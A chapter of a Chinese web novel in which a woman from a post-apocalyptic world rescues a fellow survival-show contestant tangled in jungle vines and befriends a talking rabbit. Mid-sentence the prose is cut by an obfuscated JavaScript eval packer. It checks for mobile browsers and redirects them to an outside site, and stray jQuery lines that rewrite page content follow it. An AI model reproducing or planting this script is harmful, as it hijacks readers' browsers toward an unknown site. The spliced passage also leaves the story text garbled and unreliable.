7. 上吊还是荡秋千

作品:《不小心在求生综艺中捡到绿茶大佬[娱乐圈]

    吃东西的过程中,刚才逃走的小兔子又跑了回来。


    一下子跳进钟零的怀里,头朝里,屁股朝外,尾巴在身后抖抖抖个不停。


    钟零问它怎么了。


    “我看到了和你一样的——你在吃什么?”小兔子睁大了眼睛。


    钟零看了眼自己手里,说:“兔子肉。”


    小兔子嘎的一下就要晕倒,被钟零单手拎了起来,放在旁边立正站好。


    四条腿的小动物腿还有点软,颤颤巍巍道:“你会吃我吗?”


    这问题好像有谁问过一遍,钟零说不会。


    小兔子松一口气,又凑到钟零身边,毛茸茸地蹲下,四肢都藏在了肚子下面。


    好像钟零刚才说的话是板上钉钉的保障一样。


    钟零没管它,一口一口肉吃下去。


    吃得不快,吃东西的时候还在观察四周。


    雨林的生态气候她其实是第一次见,这种潮湿又热的环境,待久了会让人觉得有点乏力。


    钟零看了一圈,目光最后落在安诀身上,发觉他也在看自己。


    钟零感觉这个人的眼睛很奇妙,和她见过的大多数眼睛不太一样。


    也可能是末世的时候,她也没有仔细去看别人的眼睛。


    她在末世生活了十九年,从刚会走开始,就跟在母亲钟赢身后去观察丧尸。


    离开钟赢后,比起看正常人,她每天低头研究丧尸和那些异变生物的时间更长。


    钟零发现自己也不记得钟赢的眼睛了。


    好像也没有认真记过那双眼睛。


    安诀被钟零看着,也不回避视线,眼睛里蕴含了一些笑意和钟零对视。


    钟零心里叹口气,把视线移开。


    安诀身为一个挂件很合格,吃完东西就一直看着钟零,跟钟零身边还乖巧蹲着的兔子差不多。


    钟零见他一直在看兔子,直接伸手把兔子拎起来给他。


    兔子也是愣愣的,被拎起来也不动,直到被一双冰凉的手接住,它才打了个激灵。


    它问安诀:“你会吃掉我吗?”


    “他听不懂你的话,我在的话就不会。”钟零替安诀回答了问题。


    安诀倒是看着挺喜欢兔子的,盘起长腿坐着,兔子放在了腿中间。


    修长的手指一下一下抚摸着兔子的背。


    力道温柔,节奏也很舒服,但兔子待在他怀里,就是忍不住战栗。


    吃过东西后,不用钟零动手,安诀先把火灭了。


    灭火的过程中,安诀一直单手抱着兔子。


    从钟零的视角看,有些爱不释手的意思。


    把兔子带着好像也不耽误什么,钟零衡量了一下。


    灭完火后,钟零摸了一下兔子,问它要不要跟着他们一起。


    兔子狂同意,它从离开兔子窝后,十几个兄弟姐妹被各种食肉动物吃了,它一只兔在这雨林中待得好辛苦。


    现在有一个强大的动物要带着它,只要不吃掉它,什么都好说。


    钟零顿了一下,目光落在兔子身上。


    兔子心里想以后这就是我老大了,张口吱吱叫了一声老大。


    见老大看着它,兔子心里有点忐忑不安,它是不是做错什么了,然后小心问出了口。


    钟零发现了一件事,在看着兔子的时候,她能听到兔子的心里话。


    “没事。”


    兔子就在冷冰冰的怀里,以崇拜的目光看着前面行走着带路的钟零。


    它有点明白了,现在这个抱着它的,一定也是它老大的小弟。


    它真幸运啊,今天不仅被老大救了一命,还可以跟着老大一起走。


    兔子幸福得要冒泡泡,不经意间抬头和安诀对视了一下。


    看到对方若有所思的眼神,兔子又僵了,好可怕。


    钟零不知道安诀和兔子之间的暗潮汹涌,只是一直在往前赶路,脑子里在记路线。


    “救命啊,有人吗?救命啊——谁来帮一下我。哎,哎,就是你。”


    拉长的音调进入钟零的耳朵,钟零顺着声音抬头往上看,看到了吊在藤蔓中间的人。


    是昨天和她做交换的那个。


    景元宝看到钟零跟看到救星一样,使劲儿地朝钟零挥手:“你好——你还记得我吗——外国的友人——你好——”


    喊了一会儿,她觉得好像不合适,这个人听不懂她讲话。


    停了一下。


    景元宝开始试探。


    “привет?”


    “namasté?”


    “bonjour?”


    “hello?”


    “?????”


    “hallo?”


    “?hola!?”


    景元宝用来交易学的半吊子语言已经试完了,下面的人一点反应都没有。


    这个人怎么看都是东方血统啊,怎么一点也听不懂她说的话呢,难道是部落里出来的?


    景元宝也没听说过这届选手有少数语言出身的啊。


    她有些抓狂,所以藤蔓拴着她更加激烈地荡了起来。


    景元宝搓脸,没有交流,连交易都做不到。


    这个人不救她的话,为什么要一直看着她啊。


    不对,她身后不是还有个人吗?


    景元宝看向白发少年,抱着点希望问:“你能听懂我讲话吗?”


    “能啊。”安诀回答,声音轻巧散漫。


    景元宝崩溃了,声音也拔高了一些:“那你刚才怎么都不吱声。”


    安诀笑道:“你又没问我。”


    这是问不问的问题吗?大家同为人类,就不能好好说话,互相帮助吗?


    安诀话里的逻辑好像正确,但听完让人有种心梗的感觉,景元宝感觉自己不如吊死在这里。


    刚才也有个路过的,问她是不是在荡秋千。


    不仅如此,问完之后还把她的滑翔伞捡走了。


    简直泯灭人性,丧失良心。


    景元宝垂着头,刚才还扑腾的四肢无力地下垂,她有气无力道:“那我换个问题问。你知道这里为什么没有蜻蜓眼吗?”


    虽然不甘心,但再遇不到人救她,她就考虑退赛了,什么东西都没有生命重要,当然钱财除外。


    景元宝主要是觉得自己高估了自己的实力,以为在这个地方可以大赚一笔,没想到直接把自己挂在了树上。


    她现在挂在这里这么久,竟然一只蜻蜓眼都没看到。


    这让她觉得不妙,本能的觉得有大灾难要发生。


    要是一直没人救她,她不会挂在这里成为风干的僵尸吧。


    那种事情不要哇。


    安诀说不清楚的时候,钟零已经观察了一番,拿走了安诀手上的匕首。


    景元宝挂的地方很巧妙,在两棵乔木之间,藤蔓就像是一张网,把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224529|181688||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    景元宝捕在其中。


    钟零踩着长满苔藓的石头向上,着力的时候很轻,所以也减少了打滑的风险。


    雨林里的乔木都是笔直修长的,这让钟零更加奇怪,这种修长的树木之间,为什么会突然生出一张网来。


    她观察了一下,正想研究怎么去救悬在中间的景元宝,身后探出一只手臂,指向了树干的某一个位置。


    钟零看了一下,一刀切在了那根藤蔓上。


    撕拉一声,拉着景元宝的藤蔓网往下坠了坠,她离地面更近了一点。


    钟零继续一刀一刀往藤蔓上切割,每切一刀,藤蔓每断一根,景元宝就离地面更近一点。


    “谢谢谢谢谢谢。”景元宝双手合十拜谢,“等下去之后,我一定会好好感谢你们。冒昧问一下这位哥,这位女侠是哪个国家的?为什么我说什么她都听不懂。”


    安诀看着钟零一直没有移开视线,却回答了景元宝的问题:“你还想不想下来了?”


    景元宝做了一个闭嘴的手势,说:“麻烦你们。”


    切割完一边,钟零打算换个方向,转身才发现安诀一直站在自己身后,似乎是怕自己摔下去。


    他们现在在的位置起码有三米高。


    不等钟零多想,安诀已经先一步一步撤了下去,动作很利落。


    钟零举着匕首,歪歪头,她好像对这位的实力认知有点误会。


    但看安诀下去之后,依然看着她,一副无害的样子,钟零又想,这个身手在末世逃生刚够用。


    这个世界虽然落后,但她也不能把这个世界想象的那么落后。


    进化也不是一朝一夕完成的,生物书上记载,人类早就在基因融合之前,先行变得力量强大。


    而且此刻并不是考虑这件事的时候。


    钟零把另外一边最后一根称重的藤蔓切下来之后,景元宝直接从半米的位置摔在了地上。


    钟零有些抱歉,半米高的位置,她觉得不是很高,所以选择了直接一刀解决。


    景元宝虽然摔了个狗吃屎,内心对两位救命恩人还是充满感激的。


    景元宝把自己掉的隐秘的包捡起来,拍拍上面的泥巴,在里面翻找着。


    钟零已经打算走了,却被景元宝一把拉住,塞了一包东西。


    见安诀看自己,景元宝把包捂得紧了一点:“其他的东西别想,我看女侠头上好像有伤口,医疗物资在这个鬼地方有多珍贵你应该知道。”


    “我还没说什么。”


    安诀看钟零在研究那包物资,表情还有点困惑,直接把医疗包拿开拆开。


    景元宝觉得自己可以走了,说了声再见,就左脚绊右脚的跑了。


    安诀示意了一下钟零头上的绷带,钟零看到医疗包里的新绷带之后了解,主动垂下了头。


    按理说这个环境是不适合处理伤口,但钟零觉得自己头上的绷带很潮湿,闷得她头晕。


    三天前出院的时候,头上的伤口还是刚愈合没多久的样子。


    一圈一圈绷带解开,钟零察觉到安诀的手顿了一下。


    这一下让钟零以为是自己的耳朵冒出来了,摸了一下没有发现任何异常。


    钟零的耳后到后脑勺的部分有一块很长的伤疤,显示出主人有过生死存亡的时刻。


    现在医疗技术发达,所以钟零的长发留着,用医疗网压在头顶。


    伤口愈合得很好,就是有点刺眼。